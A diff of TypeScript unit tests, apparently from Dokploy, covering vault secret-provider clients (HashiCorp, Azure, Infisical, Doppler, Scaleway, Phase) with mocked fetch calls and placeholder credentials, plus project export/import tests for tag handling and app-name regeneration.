|
||||
environment: {
|
||||
environmentId: "env-1",
|
||||
env:
|
||||
(overrides as { environmentEnv?: string }).environmentEnv ?? null,
|
||||
project: {
|
||||
projectId: "proj-1",
|
||||
env: (overrides as { projectEnv?: string }).projectEnv ?? null,
|
||||
organizationId: "org-1",
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
await expect(withResolvedVaultRefs(entity)).rejects.toThrow(
|
||||
"not enabled for this project/environment",
|
||||
);
|
||||
expect(mockFetch).not.toHaveBeenCalled();
|
||||
},
|
||||
);
|
||||
|
||||
it("rejects a ref restricted to another environment from the environment env", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "prod-only",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: [
|
||||
{ projectId: "proj-1", environmentIds: ["production-env"] },
|
||||
],
|
||||
},
|
||||
]);
|
||||
|
||||
await expect(
|
||||
withResolvedVaultRefs({
|
||||
env: null,
|
||||
environment: {
|
||||
environmentId: "dev-env",
|
||||
env: "SECRET=${{vault.prod-only.X}}",
|
||||
project: { projectId: "proj-1", env: null, organizationId: "org-1" },
|
||||
},
|
||||
}),
|
||||
).rejects.toThrow("not enabled for this project/environment");
|
||||
expect(mockFetch).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("prepareEnvironmentVariables throws on unresolved vault refs", () => {
|
||||
expect(() =>
|
||||
prepareEnvironmentVariables("FOO=${{vault.prod.SECRET}}", "", ""),
|
||||
).toThrow("Unresolved vault reference");
|
||||
});
|
||||
|
||||
it("keeps working without vault refs", () => {
|
||||
const prepared = prepareEnvironmentVariables(
|
||||
"FOO=${{project.BAR}}",
|
||||
"BAR=baz",
|
||||
);
|
||||
expect(prepared).toEqual(["FOO=baz"]);
|
||||
expect(findMany).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe("hashicorp client", () => {
|
||||
const config = {
|
||||
providerType: "hashicorp" as const,
|
||||
url: "https://vault.example.com",
|
||||
token: "hvs.token",
|
||||
mount: "secret",
|
||||
};
|
||||
|
||||
it("rejects refs without a field", async () => {
|
||||
await expect(
|
||||
hashicorpClient.getSecrets(config, ["myapp/prod"]),
|
||||
).rejects.toThrow("expected format <path>:<field>");
|
||||
});
|
||||
|
||||
it("groups refs by path and picks fields from KV v2 data", async () => {
|
||||
mockFetch.mockResolvedValue(
|
||||
jsonResponse({ data: { data: { USER: "admin", PASS: "pw" } } }),
|
||||
);
|
||||
|
||||
const result = await hashicorpClient.getSecrets(config, [
|
||||
"myapp/prod:USER",
|
||||
"myapp/prod:PASS",
|
||||
]);
|
||||
|
||||
expect(result).toEqual({
|
||||
"myapp/prod:USER": "admin",
|
||||
"myapp/prod:PASS": "pw",
|
||||
});
|
||||
expect(mockFetch).toHaveBeenCalledTimes(1);
|
||||
expect(mockFetch.mock.calls[0]?.[0]).toBe(
|
||||
"https://vault.example.com/v1/secret/data/myapp/prod",
|
||||
);
|
||||
});
|
||||
|
||||
it("throws when a field is missing", async () => {
|
||||
mockFetch.mockResolvedValue(jsonResponse({ data: { data: { A: "1" } } }));
|
||||
await expect(
|
||||
hashicorpClient.getSecrets(config, ["myapp/prod:MISSING"]),
|
||||
).rejects.toThrow('field "MISSING" not found');
|
||||
});
|
||||
|
||||
it("lists full path:field refs by walking directories", async () => {
|
||||
mockFetch.mockImplementation(async (url: string) => {
|
||||
if (url.includes("/metadata?list=true")) {
|
||||
return jsonResponse({ data: { keys: ["myapp/", "shared"] } });
|
||||
}
|
||||
if (url.includes("/metadata/myapp?list=true")) {
|
||||
return jsonResponse({ data: { keys: ["prod"] } });
|
||||
}
|
||||
if (url.includes("/data/myapp/prod")) {
|
||||
return jsonResponse({
|
||||
data: { data: { API_KEY: "a", DB_PASSWORD: "b" } },
|
||||
});
|
||||
}
|
||||
if (url.includes("/data/shared")) {
|
||||
return jsonResponse({ data: { data: { STRIPE_KEY: "c" } } });
|
||||
}
|
||||
return jsonResponse({}, false, 404);
|
||||
});
|
||||
|
||||
const names = await hashicorpClient.listSecretNames?.(config);
|
||||
|
||||
expect(names).toEqual([
|
||||
"myapp/prod:API_KEY",
|
||||
"myapp/prod:DB_PASSWORD",
|
||||
"shared:STRIPE_KEY",
|
||||
]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("azure client", () => {
|
||||
const config = {
|
||||
providerType: "azure" as const,
|
||||
vaultUri: "https://my-vault.vault.azure.net",
|
||||
tenantId: "tenant-1",
|
||||
clientId: "client-1",
|
||||
clientSecret: "secret-1",
|
||||
};
|
||||
|
||||
it("authenticates and reads secrets by name", async () => {
|
||||
mockFetch.mockImplementation(async (url: string) => {
|
||||
if (url.includes("login.microsoftonline.com/tenant-1")) {
|
||||
return jsonResponse({ access_token: "azure-token" });
|
||||
}
|
||||
if (url.includes("/secrets/db-password?")) {
|
||||
return jsonResponse({ value: "azure-pw" });
|
||||
}
|
||||
return jsonResponse({}, false, 404);
|
||||
});
|
||||
|
||||
const result = await azureClient.getSecrets(config, ["db-password"]);
|
||||
|
||||
expect(result).toEqual({ "db-password": "azure-pw" });
|
||||
});
|
||||
|
||||
it("throws a clear error for missing secrets", async () => {
|
||||
mockFetch.mockImplementation(async (url: string) => {
|
||||
if (url.includes("login.microsoftonline.com")) {
|
||||
return jsonResponse({ access_token: "azure-token" });
|
||||
}
|
||||
return jsonResponse({}, false, 404);
|
||||
});
|
||||
|
||||
await expect(azureClient.getSecrets(config, ["nope"])).rejects.toThrow(
|
||||
'secret "nope" not found',
|
||||
);
|
||||
});
|
||||
|
||||
it("lists secret names from paged results", async () => {
|
||||
mockFetch.mockImplementation(async (url: string) => {
|
||||
if (url.includes("login.microsoftonline.com")) {
|
||||
return jsonResponse({ access_token: "azure-token" });
|
||||
}
|
||||
if (url.includes("skiptoken")) {
|
||||
return jsonResponse({
|
||||
value: [{ id: `${config.vaultUri}/secrets/second` }],
|
||||
nextLink: null,
|
||||
});
|
||||
}
|
||||
return jsonResponse({
|
||||
value: [{ id: `${config.vaultUri}/secrets/first` }],
|
||||
nextLink: `${config.vaultUri}/secrets?api-version=7.4&skiptoken=abc`,
|
||||
});
|
||||
});
|
||||
|
||||
const names = await azureClient.listSecretNames?.(config);
|
||||
|
||||
expect(names).toEqual(["first", "second"]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("infisical client", () => {
|
||||
const config = {
|
||||
providerType: "infisical" as const,
|
||||
siteUrl: "https://app.infisical.com",
|
||||
clientId: "client-1",
|
||||
clientSecret: "client-secret",
|
||||
projectId: "workspace-1",
|
||||
environmentSlug: "prod",
|
||||
secretPath: "/frontend",
|
||||
};
|
||||
|
||||
const loginResponse = () => jsonResponse({ accessToken: "token-1" });
|
||||
const list = (secrets: Record<string, string>) =>
|
||||
jsonResponse({
|
||||
secrets: Object.entries(secrets).map(([secretKey, secretValue]) => ({
|
||||
secretKey,
|
||||
secretValue,
|
||||
})),
|
||||
});
|
||||
const listPathOf = (callIndex: number) => {
|
||||
const [url] = mockFetch.mock.calls[callIndex] as [string];
|
||||
return new URL(url).searchParams.get("secretPath");
|
||||
};
|
||||
|
||||
it("asks the list endpoint to expand secret references", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(loginResponse())
|
||||
.mockResolvedValueOnce(list({ DB_URL: "postgres://real" }));
|
||||
|
||||
const result = await infisicalClient.getSecrets(config, ["DB_URL"]);
|
||||
|
||||
expect(result).toEqual({ DB_URL: "postgres://real" });
|
||||
const [listUrl] = mockFetch.mock.calls[1] as [string];
|
||||
const params = new URL(listUrl).searchParams;
|
||||
expect(params.get("expandSecretReferences")).toBe("true");
|
||||
expect(params.get("workspaceId")).toBe("workspace-1");
|
||||
expect(params.get("environment")).toBe("prod");
|
||||
expect(params.get("secretPath")).toBe("/frontend");
|
||||
});
|
||||
|
||||
it("asks for imported secrets and merges them", async () => {
|
||||
mockFetch.mockResolvedValueOnce(loginResponse()).mockResolvedValueOnce(
|
||||
jsonResponse({
|
||||
secrets: [],
|
||||
imports: [
|
||||
{
|
||||
secretPath: "/shared",
|
||||
secrets: [
|
||||
{ secretKey: "DB_URL", secretValue: "postgres://imported" },
|
||||
],
|
||||
},
|
||||
],
|
||||
}),
|
||||
);
|
||||
|
||||
const result = await infisicalClient.getSecrets(config, ["DB_URL"]);
|
||||
|
||||
expect(result).toEqual({ DB_URL: "postgres://imported" });
|
||||
const [listUrl] = mockFetch.mock.calls[1] as [string];
|
||||
// snake_case on purpose: `includeImports` is silently ignored and the
|
||||
// response comes back with an empty `imports` array.
|
||||
expect(new URL(listUrl).searchParams.get("include_imports")).toBe("true");
|
||||
});
|
||||
|
||||
it("lets the later import win when two define the same key", async () => {
|
||||
mockFetch.mockResolvedValueOnce(loginResponse()).mockResolvedValueOnce(
|
||||
jsonResponse({
|
||||
secrets: [],
|
||||
imports: [
|
||||
{
|
||||
secretPath: "/base",
|
||||
secrets: [{ secretKey: "DB_URL", secretValue: "postgres://base" }],
|
||||
},
|
||||
{
|
||||
secretPath: "/override",
|
||||
secrets: [
|
||||
{ secretKey: "DB_URL", secretValue: "postgres://override" },
|
||||
],
|
||||
},
|
||||
],
|
||||
}),
|
||||
);
|
||||
|
||||
const result = await infisicalClient.getSecrets(config, ["DB_URL"]);
|
||||
|
||||
// Infisical documents this order: "If two imports carry a secret with the
|
||||
// same name, the value from the bottom-most import wins." The response
|
||||
// lists imports in that order, so assigning them in sequence matches it.
|
||||
expect(result).toEqual({ DB_URL: "postgres://override" });
|
||||
});
|
||||
|
||||
it("lets a folder's own secret win over an imported one of the same name", async () => {
|
||||
mockFetch.mockResolvedValueOnce(loginResponse()).mockResolvedValueOnce(
|
||||
jsonResponse({
|
||||
secrets: [{ secretKey: "DB_URL", secretValue: "postgres://local" }],
|
||||
imports: [
|
||||
{
|
||||
secretPath: "/shared",
|
||||
secrets: [
|
||||
{ secretKey: "DB_URL", secretValue: "postgres://imported" },
|
||||
],
|
||||
},
|
||||
],
|
||||
}),
|
||||
);
|
||||
|
||||
const result = await infisicalClient.getSecrets(config, ["DB_URL"]);
|
||||
|
||||
expect(result).toEqual({ DB_URL: "postgres://local" });
|
||||
});
|
||||
|
||||
it("throws a clear error for a missing secret", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(loginResponse())
|
||||
.mockResolvedValueOnce(jsonResponse({ secrets: [] }));
|
||||
|
||||
await expect(
|
||||
infisicalClient.getSecrets(config, ["ABSENT"]),
|
||||
).rejects.toThrow('secret "ABSENT" not found in environment "prod"');
|
||||
});
|
||||
|
||||
it("propagates authentication failures with the status code", async () => {
|
||||
mockFetch.mockResolvedValueOnce(jsonResponse({}, false, 401));
|
||||
|
||||
await expect(
|
||||
infisicalClient.getSecrets(config, ["DB_URL"]),
|
||||
).rejects.toThrow("authentication failed (status 401)");
|
||||
});
|
||||
|
||||
it("resolves a relative <path>:<KEY> ref against the provider path", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(loginResponse())
|
||||
.mockResolvedValueOnce(list({ SENTRY_DSN: "https://key@sentry.io/1" }));
|
||||
|
||||
const result = await infisicalClient.getSecrets(config, [
|
||||
"shared/sentry:SENTRY_DSN",
|
||||
]);
|
||||
|
||||
expect(result).toEqual({
|
||||
"shared/sentry:SENTRY_DSN": "https://key@sentry.io/1",
|
||||
});
|
||||
expect(listPathOf(1)).toBe("/frontend/shared/sentry");
|
||||
});
|
||||
|
||||
it("treats a leading slash as an absolute path", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(loginResponse())
|
||||
.mockResolvedValueOnce(list({ SENTRY_DSN: "https://key@sentry.io/1" }));
|
||||
|
||||
await infisicalClient.getSecrets(config, ["/external/sentry:SENTRY_DSN"]);
|
||||
|
||||
expect(listPathOf(1)).toBe("/external/sentry");
|
||||
});
|
||||
|
||||
it("keeps the root path clean when the provider sits at /", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(loginResponse())
|
||||
.mockResolvedValueOnce(list({ KEY: "value" }));
|
||||
|
||||
await infisicalClient.getSecrets({ ...config, secretPath: "/" }, [
|
||||
"external/sentry:KEY",
|
||||
]);
|
||||
|
||||
expect(listPathOf(1)).toBe("/external/sentry");
|
||||
});
|
||||
|
||||
it("logs in once and fetches each path once", async () => {
|
||||
const byPath: Record<string, Record<string, string>> = {
|
||||
"/frontend": { A: "a", B: "b" },
|
||||
"/frontend/other": { C: "c" },
|
||||
};
|
||||
mockFetch.mockImplementation(async (url: string) => {
|
||||
if (url.includes("/auth/universal-auth/login")) return loginResponse();
|
||||
const path = new URL(url).searchParams.get("secretPath") as string;
|
||||
return list(byPath[path] ?? {});
|
||||
});
|
||||
|
||||
const result = await infisicalClient.getSecrets(config, [
|
||||
"A",
|
||||
"B",
|
||||
"other:C",
|
||||
]);
|
||||
|
||||
expect(result).toEqual({ A: "a", B: "b", "other:C": "c" });
|
||||
|
||||
const urls = mockFetch.mock.calls.map(([url]) => url as string);
|
||||
expect(urls.filter((u) => u.includes("/login"))).toHaveLength(1);
|
||||
expect(
|
||||
urls
|
||||
.filter((u) => u.includes("/secrets/raw?"))
|
||||
.map((u) => new URL(u).searchParams.get("secretPath"))
|
||||
.sort(),
|
||||
).toEqual(["/frontend", "/frontend/other"]);
|
||||
});
|
||||
|
||||
it("names the path when a secret is missing from an explicit one", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(loginResponse())
|
||||
.mockResolvedValueOnce(list({}));
|
||||
|
||||
await expect(
|
||||
infisicalClient.getSecrets(config, ["external/sentry:ABSENT"]),
|
||||
).rejects.toThrow(
|
||||
'secret "ABSENT" not found at "/frontend/external/sentry"',
|
||||
);
|
||||
});
|
||||
|
||||
it("rejects a ref with an empty path or key", async () => {
|
||||
await expect(infisicalClient.getSecrets(config, [":KEY"])).rejects.toThrow(
|
||||
"expected format <path>:<KEY>",
|
||||
);
|
||||
await expect(
|
||||
infisicalClient.getSecrets(config, ["external/sentry:"]),
|
||||
).rejects.toThrow("expected format <path>:<KEY>");
|
||||
});
|
||||
});
|
||||
|
||||
describe("doppler client", () => {
|
||||
it("propagates auth errors with the status code", async () => {
|
||||
mockFetch.mockResolvedValue(jsonResponse({}, false, 401));
|
||||
await expect(
|
||||
dopplerClient.getSecrets(
|
||||
{ providerType: "doppler", serviceToken: "bad" },
|
||||
["FOO"],
|
||||
),
|
||||
).rejects.toThrow("status 401");
|
||||
});
|
||||
});
|
||||
|
||||
describe("scaleway client", () => {
|
||||
const config = {
|
||||
providerType: "scaleway" as const,
|
||||
region: "fr-par",
|
||||
projectId: "project-1",
|
||||
secretKey: "scw-secret-key",
|
||||
apiUrl: "https://api.scaleway.com",
|
||||
};
|
||||
|
||||
const accessResponse = (value: string) =>
|
||||
jsonResponse({
|
||||
secret_id: "secret-1",
|
||||
revision: 1,
|
||||
data: Buffer.from(value).toString("base64"),
|
||||
});
|
||||
|
||||
it("reads a secret by name from the root path and decodes the payload", async () => {
|
||||
mockFetch.mockResolvedValue(accessResponse("postgres://real"));
|
||||
|
||||
const result = await scalewayClient.getSecrets(config, ["db-url"]);
|
||||
|
||||
expect(result).toEqual({ "db-url": "postgres://real" });
|
||||
expect(mockFetch).toHaveBeenCalledTimes(1);
|
||||
const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
|
||||
expect(url).toBe(
|
||||
"https://api.scaleway.com/secret-manager/v1beta1/regions/fr-par/secrets-by-path/versions/latest_enabled/access?project_id=project-1&secret_name=db-url&secret_path=%2F",
|
||||
);
|
||||
expect((init.headers as Record<string, string>)["X-Auth-Token"]).toBe(
|
||||
"scw-secret-key",
|
||||
);
|
||||
});
|
||||
|
||||
it("sends the folder of a path-qualified ref as secret_path", async () => {
|
||||
mockFetch.mockResolvedValue(accessResponse("value"));
|
||||
|
||||
await scalewayClient.getSecrets(config, ["prod/db/password"]);
|
||||
|
||||
expect(mockFetch.mock.calls[0]?.[0]).toContain(
|
||||
"secret_name=password&secret_path=%2Fprod%2Fdb",
|
||||
);
|
||||
});
|
||||
|
||||
it("extracts a field from a JSON secret and fetches the secret once", async () => {
|
||||
mockFetch.mockResolvedValue(
|
||||
accessResponse(JSON.stringify({ user: "admin", port: 5432 })),
|
||||
);
|
||||
|
||||
const result = await scalewayClient.getSecrets(config, [
|
||||
"db-creds:user",
|
||||
"db-creds:port",
|
||||
]);
|
||||
|
||||
expect(result).toEqual({
|
||||
"db-creds:user": "admin",
|
||||
"db-creds:port": "5432",
|
||||
});
|
||||
expect(mockFetch).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it("throws when the secret is not JSON but a field is requested", async () => {
|
||||
mockFetch.mockResolvedValue(accessResponse("plain-value"));
|
||||
|
||||
await expect(
|
||||
scalewayClient.getSecrets(config, ["db-creds:user"]),
|
||||
).rejects.toThrow("is not JSON");
|
||||
});
|
||||
|
||||
it("throws when the requested field is missing", async () => {
|
||||
mockFetch.mockResolvedValue(accessResponse(JSON.stringify({ user: "a" })));
|
||||
|
||||
await expect(
|
||||
scalewayClient.getSecrets(config, ["db-creds:password"]),
|
||||
).rejects.toThrow('field "password" not found');
|
||||
});
|
||||
|
||||
it("throws a clear error for a missing secret", async () => {
|
||||
mockFetch.mockResolvedValue(
|
||||
jsonResponse({ message: "not found" }, false, 404),
|
||||
);
|
||||
|
||||
await expect(scalewayClient.getSecrets(config, ["nope"])).rejects.toThrow(
|
||||
'secret "nope" not found in path "/"',
|
||||
);
|
||||
});
|
||||
|
||||
it("reports authentication failures with the API message", async () => {
|
||||
mockFetch.mockResolvedValue(
|
||||
jsonResponse({ message: "denied authentication" }, false, 403),
|
||||
);
|
||||
|
||||
await expect(scalewayClient.getSecrets(config, ["db-url"])).rejects.toThrow(
|
||||
"authentication failed (status 403: denied authentication)",
|
||||
);
|
||||
});
|
||||
|
||||
it("throws when the secret has no enabled version", async () => {
|
||||
mockFetch.mockResolvedValue(jsonResponse({ secret_id: "secret-1" }));
|
||||
|
||||
await expect(scalewayClient.getSecrets(config, ["db-url"])).rejects.toThrow(
|
||||
"has no enabled version",
|
||||
);
|
||||
});
|
||||
|
||||
it("rejects a ref without a secret name", async () => {
|
||||
await expect(scalewayClient.getSecrets(config, ["prod/"])).rejects.toThrow(
|
||||
"expected format <name> or <folder>/<name>[:field]",
|
||||
);
|
||||
});
|
||||
|
||||
it("tests the connection against the secrets listing", async () => {
|
||||
mockFetch.mockResolvedValue(jsonResponse({ secrets: [], total_count: 0 }));
|
||||
|
||||
await scalewayClient.testConnection(config);
|
||||
|
||||
expect(mockFetch.mock.calls[0]?.[0]).toBe(
|
||||
"https://api.scaleway.com/secret-manager/v1beta1/regions/fr-par/secrets?project_id=project-1&page_size=1",
|
||||
);
|
||||
});
|
||||
|
||||
it("lists secret names with their folder prefix", async () => {
|
||||
mockFetch.mockResolvedValue(
|
||||
jsonResponse({
|
||||
secrets: [
|
||||
{ id: "1", name: "db-url", path: "/" },
|
||||
{ id: "2", name: "password", path: "/prod/db" },
|
||||
],
|
||||
total_count: 2,
|
||||
}),
|
||||
);
|
||||
|
||||
const names = await scalewayClient.listSecretNames?.(config);
|
||||
|
||||
expect(names).toEqual(["db-url", "prod/db/password"]);
|
||||
expect(mockFetch).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it("follows pagination until a short page is returned", async () => {
|
||||
const page = (start: number, size: number) =>
|
||||
jsonResponse({
|
||||
secrets: Array.from({ length: size }, (_, index) => ({
|
||||
id: String(start + index),
|
||||
name: `secret-${start + index}`,
|
||||
path: "/",
|
||||
})),
|
||||
});
|
||||
mockFetch.mockImplementation(async (url: string) =>
|
||||
url.includes("page=2") ? page(101, 2) : page(1, 100),
|
||||
);
|
||||
|
||||
const names = await scalewayClient.listSecretNames?.(config);
|
||||
|
||||
expect(names).toHaveLength(102);
|
||||
expect(mockFetch).toHaveBeenCalledTimes(2);
|
||||
});
|
||||
|
||||
it("resolves env refs end to end through a scaleway provider", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "scw-prod",
|
||||
providerType: "scaleway",
|
||||
config,
|
||||
assignments: assignedEverywhere,
|
||||
},
|
||||
]);
|
||||
mockFetch.mockResolvedValue(accessResponse("s3cret"));
|
||||
|
||||
const result = await resolveVaultReferences(
|
||||
"DB_PASSWORD=${{vault.scw-prod.prod/db-password}}",
|
||||
scope,
|
||||
);
|
||||
|
||||
expect(result).toBe("DB_PASSWORD=s3cret");
|
||||
});
|
||||
});
|
||||
|
||||
describe("phase client", () => {
|
||||
const config = {
|
||||
providerType: "phase" as const,
|
||||
token: "phase-rest-token",
|
||||
appId: "app-123",
|
||||
env: "Production",
|
||||
path: "/",
|
||||
apiUrl: "https://api.phase.dev",
|
||||
};
|
||||
|
||||
it("fetches secrets by key and sends ServiceAccount auth", async () => {
|
||||
mockFetch.mockResolvedValue(
|
||||
jsonResponse([
|
||||
{ key: "DB_URL", value: "postgres://real", path: "/" },
|
||||
{ key: "API_KEY", value: "key-123", path: "/" },
|
||||
]),
|
||||
);
|
||||
|
||||
const result = await phaseClient.getSecrets(config, ["DB_URL", "API_KEY"]);
|
||||
|
||||
expect(result).toEqual({ DB_URL: "postgres://real", API_KEY: "key-123" });
|
||||
expect(mockFetch).toHaveBeenCalledTimes(1);
|
||||
const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
|
||||
expect(url).toBe(
|
||||
"https://api.phase.dev/v1/secrets/?app_id=app-123&env=Production&path=%2F",
|
||||
);
|
||||
expect((init.headers as Record<string, string>).Authorization).toBe(
|
||||
"Bearer ServiceAccount phase-rest-token",
|
||||
);
|
||||
});
|
||||
|
||||
it("throws when a requested secret is missing", async () => {
|
||||
mockFetch.mockResolvedValue(
|
||||
jsonResponse([{ key: "DB_URL", value: "postgres://real", path: "/" }]),
|
||||
);
|
||||
|
||||
await expect(phaseClient.getSecrets(config, ["MISSING"])).rejects.toThrow(
|
||||
'secret "MISSING" not found in environment "Production"',
|
||||
);
|
||||
});
|
||||
|
||||
it("reports authentication failures with the status code", async () => {
|
||||
mockFetch.mockResolvedValue(
|
||||
jsonResponse({ error: "unauthorized" }, false, 401),
|
||||
);
|
||||
|
||||
await expect(phaseClient.getSecrets(config, ["DB_URL"])).rejects.toThrow(
|
||||
"authentication failed (status 401: unauthorized)",
|
||||
);
|
||||
});
|
||||
|
||||
it("rejects apps without SSE enabled during testConnection", async () => {
|
||||
mockFetch.mockResolvedValueOnce(
|
||||
jsonResponse({
|
||||
id: "app-123",
|
||||
name: "My App",
|
||||
sseEnabled: false,
|
||||
}),
|
||||
);
|
||||
|
||||
await expect(phaseClient.testConnection(config)).rejects.toThrow(
|
||||
"enable Server-side Encryption (SSE)",
|
||||
);
|
||||
expect(mockFetch).toHaveBeenCalledTimes(1);
|
||||
expect(mockFetch.mock.calls[0]?.[0]).toBe(
|
||||
"https://api.phase.dev/v1/apps/app-123/",
|
||||
);
|
||||
});
|
||||
|
||||
it("tests connection against the app then secrets listing", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(
|
||||
jsonResponse({
|
||||
id: "app-123",
|
||||
name: "My App",
|
||||
sseEnabled: true,
|
||||
}),
|
||||
)
|
||||
.mockResolvedValueOnce(jsonResponse([]));
|
||||
|
||||
await phaseClient.testConnection(config);
|
||||
|
||||
expect(mockFetch).toHaveBeenCalledTimes(2);
|
||||
expect(mockFetch.mock.calls[0]?.[0]).toBe(
|
||||
"https://api.phase.dev/v1/apps/app-123/",
|
||||
);
|
||||
expect(mockFetch.mock.calls[1]?.[0]).toBe(
|
||||
"https://api.phase.dev/v1/secrets/?app_id=app-123&env=Production&path=%2F",
|
||||
);
|
||||
});
|
||||
|
||||
it("lists secret names from the configured path", async () => {
|
||||
mockFetch.mockResolvedValue(
|
||||
jsonResponse([
|
||||
{ key: "DB_URL", value: "x", path: "/" },
|
||||
{ key: "API_KEY", value: "y", path: "/" },
|
||||
]),
|
||||
);
|
||||
|
||||
const names = await phaseClient.listSecretNames?.(config);
|
||||
|
||||
expect(names).toEqual(["DB_URL", "API_KEY"]);
|
||||
});
|
||||
|
||||
it("resolves env refs end to end through a phase provider", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "phase-prod",
|
||||
providerType: "phase",
|
||||
config,
|
||||
assignments: assignedEverywhere,
|
||||
},
|
||||
]);
|
||||
mockFetch.mockResolvedValue(
|
||||
jsonResponse([{ key: "DB_PASSWORD", value: "s3cret", path: "/" }]),
|
||||
);
|
||||
|
||||
const result = await resolveVaultReferences(
|
||||
"DB_PASSWORD=${{vault.phase-prod.DB_PASSWORD}}",
|
||||
scope,
|
||||
);
|
||||
|
||||
expect(result).toBe("DB_PASSWORD=s3cret");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,127 @@
|
||||
import { projects, projectTags, tags } from "@dokploy/server/db/schema";
|
||||
import type {
|
||||
Plan,
|
||||
Snapshot,
|
||||
TransferWriteDb,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { apply } from "@dokploy/server/services/project-export-import";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const snapshot: Snapshot = {
|
||||
manifest: {
|
||||
format: "dokploy-project-export",
|
||||
formatVersion: 1,
|
||||
exportedAt: "2024-01-01T00:00:00.000Z",
|
||||
exportedBy: { userId: "user-1", email: "a@b.com" },
|
||||
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
|
||||
scope: {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
},
|
||||
crypto: {
|
||||
salt: "c2FsdA==",
|
||||
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
|
||||
keyCheck: "{}",
|
||||
},
|
||||
counts: {},
|
||||
},
|
||||
resources: {
|
||||
project: {
|
||||
projectId: "project-src",
|
||||
name: "src",
|
||||
env: "",
|
||||
tags: [
|
||||
{ name: "prod", color: "#f00" },
|
||||
{ name: "billing", color: null },
|
||||
],
|
||||
},
|
||||
environments: [],
|
||||
services: [],
|
||||
shared: {},
|
||||
},
|
||||
requirements: [],
|
||||
warnings: [],
|
||||
dumps: [],
|
||||
};
|
||||
|
||||
const plan: Plan = {
|
||||
target: { kind: "newProject", name: "imported" },
|
||||
resolutions: {},
|
||||
serverMap: {},
|
||||
appNameMap: {},
|
||||
domainStrategy: { custom: "keep" },
|
||||
portsStrategy: "keep",
|
||||
rotateDatabaseCredentials: false,
|
||||
conflicts: [],
|
||||
pendingServices: [],
|
||||
warnings: [],
|
||||
validation: [],
|
||||
summary: { counts: {}, domains: 0, dumps: 0 },
|
||||
};
|
||||
|
||||
describe("apply project tags", () => {
|
||||
it("reuses an existing tag by name and creates the missing one", async () => {
|
||||
const inserted = new Map<unknown, Record<string, unknown>[]>();
|
||||
const writeDb = {
|
||||
query: {
|
||||
tags: {
|
||||
findFirst: async (args: {
|
||||
where: (f: unknown, o: unknown) => unknown;
|
||||
}) => {
|
||||
const captured: unknown[] = [];
|
||||
args.where(new Proxy({}, { get: (_t, prop) => String(prop) }), {
|
||||
and: (...v: unknown[]) => v,
|
||||
eq: (a: unknown, b: unknown) => captured.push([a, b]),
|
||||
});
|
||||
const nameArg = captured.find(
|
||||
(c) => (c as [unknown, unknown])[0] === "name",
|
||||
) as [unknown, string] | undefined;
|
||||
return nameArg?.[1] === "prod"
|
||||
? { tagId: "tag-existing", name: "prod" }
|
||||
: undefined;
|
||||
},
|
||||
},
|
||||
server: { findFirst: async () => undefined },
|
||||
webServerSettings: { findFirst: async () => undefined },
|
||||
},
|
||||
insert: (table: unknown) => ({
|
||||
values: (values: Record<string, unknown>) => {
|
||||
const row = { ...values };
|
||||
if (table === projects) row.projectId = "project-new";
|
||||
if (table === tags) row.tagId = "tag-new";
|
||||
const list = inserted.get(table) ?? [];
|
||||
list.push(row);
|
||||
inserted.set(table, list);
|
||||
return { returning: async () => [row] };
|
||||
},
|
||||
}),
|
||||
update: () => ({ set: () => ({ where: async () => {} }) }),
|
||||
transaction: async (fn: (tx: unknown) => Promise<unknown>) =>
|
||||
fn({ ...writeDb }),
|
||||
} as unknown as TransferWriteDb;
|
||||
|
||||
await apply(writeDb, snapshot, plan, new Map(), "org-dest");
|
||||
|
||||
expect(inserted.get(projects)?.[0]).not.toHaveProperty("tags");
|
||||
expect(inserted.get(tags)).toEqual([
|
||||
{
|
||||
name: "billing",
|
||||
color: null,
|
||||
organizationId: "org-dest",
|
||||
tagId: "tag-new",
|
||||
},
|
||||
]);
|
||||
expect(inserted.get(projectTags)).toEqual([
|
||||
{ projectId: "project-new", tagId: "tag-existing" },
|
||||
{ projectId: "project-new", tagId: "tag-new" },
|
||||
]);
|
||||
});
|
||||
});
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,92 @@
|
||||
import {
|
||||
regenerateAppName,
|
||||
replaceAppNames,
|
||||
rewriteSslipIoIp,
|
||||
rewriteVolumeName,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
describe("regenerateAppName", () => {
|
||||
it("strips the last hyphen segment and rebuilds a fresh suffix", () => {
|
||||
const result = regenerateAppName("application", "myapp-verb-noun-ab12cd");
|
||||
expect(result).not.toBe("myapp-verb-noun-ab12cd");
|
||||
expect(result.startsWith("myapp-verb-noun-")).toBe(true);
|
||||
});
|
||||
|
||||
it("handles an app name with no hyphen", () => {
|
||||
const result = regenerateAppName("application", "singleword");
|
||||
